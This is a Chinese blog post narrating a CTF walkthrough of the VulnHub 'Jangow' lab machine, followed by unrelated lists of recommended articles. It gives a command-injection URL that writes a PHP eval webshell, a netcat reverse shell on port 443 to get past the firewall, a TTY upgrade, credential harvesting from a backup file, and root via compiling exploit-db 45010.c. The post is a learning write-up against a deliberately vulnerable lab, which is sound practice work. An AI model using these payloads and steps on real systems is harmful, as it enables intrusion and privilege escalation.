打靶笔记-04-vulnhub-Jangow

前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍。

一、靶机信息

Name: Jangow: 1.0.1 (Easy)
Date release: 4 Nov 2021
Author: Jangow
Series: Jangow

二、启动靶机

2.1 校验靶机

2.2 导入Vbox,配置网络

因为攻击机器都在vmware上,所以还是将靶机网络桥接到vmnet8网卡上。

2.3 打快照,启动靶机

没啥好说的,以防万一,打个快照启动



可以直接看到ip地址,不过按照实际中的话时看不到这个界面的。

三、开始打靶

3.1 信息搜集

3.1.1 主机发现

ifconfig
sudo arp-scan -I eth0 -l



获得靶机IP 172.16.95.140

3.1.2 端口发现

sudo nmap -p- 172.16.95.140



只开放22和80端口

3.1.3 进一步确认端口背后服务以及具体版本号

sudo nmap -sV -p22,80 172.16.95.140



可以看到22端口是filtered的状态,也就是22端口被防火墙过滤了,80端口对应的是Apache httpd 2.4.18

3.1.4 使用nmap默认脚本扫描

sudo nmap -sC -p22,80 172.16.95.140



貌似没有啥发现,80端口也挂载的是普通页面,先看看去

3.2 开始渗透

3.2.1 访问80端口



是个目录,继续点,发现是个网页,然后里面有一个目录链接site,继续点



最后发现个链接指向一个busque.php文件,并且拥有参数buscar可以接收值,但不知道干啥用的,最后经过fuzz测试,确定为命令执行

3.2.2 信息收集

既然是命令执行,那就可以直接来一波简单的信息收集

id
pwd
ls
ls ./wordpress
cat ./wordpress













在进行常规信息搜集后,发现有一个wordpress的目录,并且还获取到了数据库账

不过以上好像没啥用,数据库也无法访问,也没有更多有用的目录。

3.2.3 写入小马

因为命令执行,所以尝试了各种姿势反弹shell,可能是水平不够,wget也无法下载到远程服务器上的马儿,所以就开始尝试写入小马

http://172.16.95.140/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27ant%27]);?%3E%27%20%3E1.php





成功写入,上蚁剑,连接成功



继续收集信息,获得用户jangow01家目录下有个user.txt,内容似乎是md5加密的,可以顺手破解一下,不过好像是空的,没有任何内容,奇怪



翻了翻其他目录在html目录下发现.backup文件,里面是用户jangow01的mysql账户密码

然后尝试上传反弹shell的php文件也无法反弹成功

3.2.4 反弹shell

蚁剑虽然连接成功了,但是shell最终还是个webshell,可干的事儿有限,所以还是的反弹shell提权

经历过刚刚命令执行反弹shell失败,然后尝试上传反弹shell的php文件也失败了,联想刚开始端口扫描时22端口被过滤的情况,应该是目标机器防火墙搞得鬼。

不过好在目标机器nc可以使用,不过最终也没有反弹成功,因为它无法带-e参数。

=-=

打到这儿自己就没思路了,最后查看了别人的攻略,这儿的关键点在于目标机器防火墙对进出的端口进行了限制,最后尝试了443端口可以成功利用

nc -lvnp 443



3.2.5 升级shell为tty

which python python2 python3 py py2 py3
python -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm-256color
stty raw -echo;fg

3.2.6 寻找漏洞提权

升级shell之后,就可以sudo和su了,结合之前发现的两个mysql账户名密码,尝试了以下切换用户,结果mysql的账户密码和系统的账户密码一致。



然后尝试sudo的时候失败了,好像不是英文,不过看到了个sudoer,猜测应该是提示这个用户不再sudoer文件中,也就是没有sudo的权限。

那就看看有没有其他漏洞可以利用吧

uname -r
uname -a
lsb_release -a



ubuntu的版本为16.04.1 LTS

searchsploit Linux Kernel 4.4.



这个搜索到的有很多看着比较符合,不过这个有点意思的是有个在windows的分类下,有点奇怪,先拿它看看

sudo cp /usr/share/exploitdb/exploits/windows_x86-64/local/47170.c /var/www/html/test.c



然后在目标机器上下载test.c,结果都无法搞定,应该是对方防火墙导致的。

=-=,一会儿提权成功一定要看下它的防火墙策略,最后通过蚁剑传了过去,不过gcc编译失败了



继续换linux/local/45010.c

sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c ./



然后还是通过蚁剑上传编译执行,最后成功拿到root权限

ls
gcc -o exp 45010.c
chmod +x exp
./exp
id

3.2.7 查看防火墙

bash
sudo ufw status

果然,=-=,禁止访问任何端口,除了443



关闭防火墙,可以成功访问,真变态

四、总结

这个靶机难点就是能够找到唯一可利用的443端口进行反弹shell,没有这个端口,有再多的反弹姿势,防火墙拦截的死死的,除非能用webshell进行本地提权,这个不现实,至少对我来说是的,能力不够

然后看到别人有批量提权的脚本,先记录下,随后的靶机中尝试以下

linux 提权辅助脚本



敖~,果然特么神器=-=

原谅我这个菜鸡现在才找到这些神器,应该在自己犯懒的时候先找下有没有懒人神器,没有的话自己总结搞一个,加油~~~

打靶笔记-04-vulnhub-Jangow的更多相关文章

  1. 打靶笔记-01-vulnhub-moneybox

    打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...

  2. JS自学笔记04

    JS自学笔记04 arguments[索引] 实参的值 1.对象 1)创建对象 ①调用系统的构造函数创建对象 var obj=new Object(); //添加属性.对象.名字=值; obj.nam ...

  3. JAVA自学笔记04

    JAVA自学笔记04 1.switch语句 1)格式:switch(表达式){ case 值1: 语句体1; break; case 值2: 语句体2; break; - default: 语句体n+ ...

  4. 机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes)

    机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes) 关键字:朴素贝叶斯.python.源码解析作者:米仓山下时间:2018-10-2 ...

  5. CS229 笔记04

    CS229 笔记04 Logistic Regression Newton's Method 根据之前的讨论,在Logistic Regression中的一些符号有: \[ \begin{eqnarr ...

  6. SaToken学习笔记-04

    SaToken学习笔记-04 如果有问题,请点击:传送门 角色认证 在sa-token中,角色和权限可以独立验证 // 当前账号是否含有指定角色标识, 返回true或false StpUtil.has ...

  7. Redis:学习笔记-04

    Redis:学习笔记-04 该部分内容,参考了 bilibili 上讲解 Redis 中,观看数最多的课程 Redis最新超详细版教程通俗易懂,来自 UP主 遇见狂神说 10. Redis主从复制 1 ...

  8. Java:并发笔记-04

    Java:并发笔记-04 说明:这是看了 bilibili 上 黑马程序员 的课程 java并发编程 后做的笔记 本章内容-3 线程状态转换 活跃性 Lock 3.10 重新理解线程状态转换 假设有线 ...

  9. 打靶笔记-03-vulhub-Moriarty Corp

    打靶笔记-03-vulhub-BoredHackerBlog 一.靶机信息 Name: BoredHackerBlog: Moriarty Corp(中-高级难度) Date release: 29 ...

随机推荐

  1. 模仿UIApplication单例

    要求:程序一启动就创建创建对象.创建的对象只能通过share的⽅方式获取对象.不能够进行alloc 操作,当执⾏行alloc时, 程序发生崩溃 1.程序一启动的时候就创建对象.当类被加载到内存的时候就 ...

  2. Java基础复习(三)

    1. &和&&的区别. &和&&都可以用作逻辑与的运算符,表示逻辑与(and),当运算符两边的表达式的结果都为true时,整个运算结果才为true,否则 ...

  3. 简单的MAC的终端命令

    今天小研究了一下MAC的终端命令,主要为了方便调试程序用,XCODE用不来啊... 在这里记下..防止丢失 pwd 当前工作目录 cd(不加参数) 进root cd(folder) 进入文件夹 cd ...

  4. MySQL数据库授权与索引

    MySQL数据库授权与索引 目录 MySQL数据库授权与索引 一.数据库用户授权 1. 授予权限 2. 查看权限 3. 删除权限 4. 全部权限(all privileges) 二.MySQL索引 1 ...

  5. Fiddler监听Https请求响应

    Fiddler问题 - creation of the root certificate was not successful 解决办法: http://localhost:8888/    安装证书 ...

  6. C++职工管理系统

    目录 职工管理系统 一. 需求 二. 创建管理类 1.创建文件 2. 头文件实现 3. 源文件实现 三. 菜单功能 1. 添加成员函数 2. 功能实现 3. 测试菜单功能 四. 退出功能 1. 提供功 ...

  7. Keycloak 团队宣布他们正在弃用大多数 Keycloak 适配器,包括Spring Security和Spring Boot

    2月14日,Keycloak 团队宣布他们正在弃用大多数 Keycloak 适配器. 其中包括Spring Security和Spring Boot的适配器,这意味着今后Keycloak团队将不再提供 ...

  8. Solution -「多校联训」排水系统

    \(\mathcal{Description}\)   Link.   在 NOIP 2020 A 的基础上,每条边赋权值 \(a_i\),随机恰好一条边断掉,第 \(i\) 条段的概率正比于 \(a ...

  9. Solution -「多校联训」染色

    \(\mathcal{Description}\)   Link.   给定 \(n\) 和 \(q\) 次询问,每次询问给出 \(x,k\),求第 \(x\) 位为 0 且任意两个 1 的下标之差不 ...

  10. mysql,数据类型与表操作

    一.mysql基本认知 创建用户 create host aa identified with mysql_native_password by ''; 修改用户权限 alter user root@ ...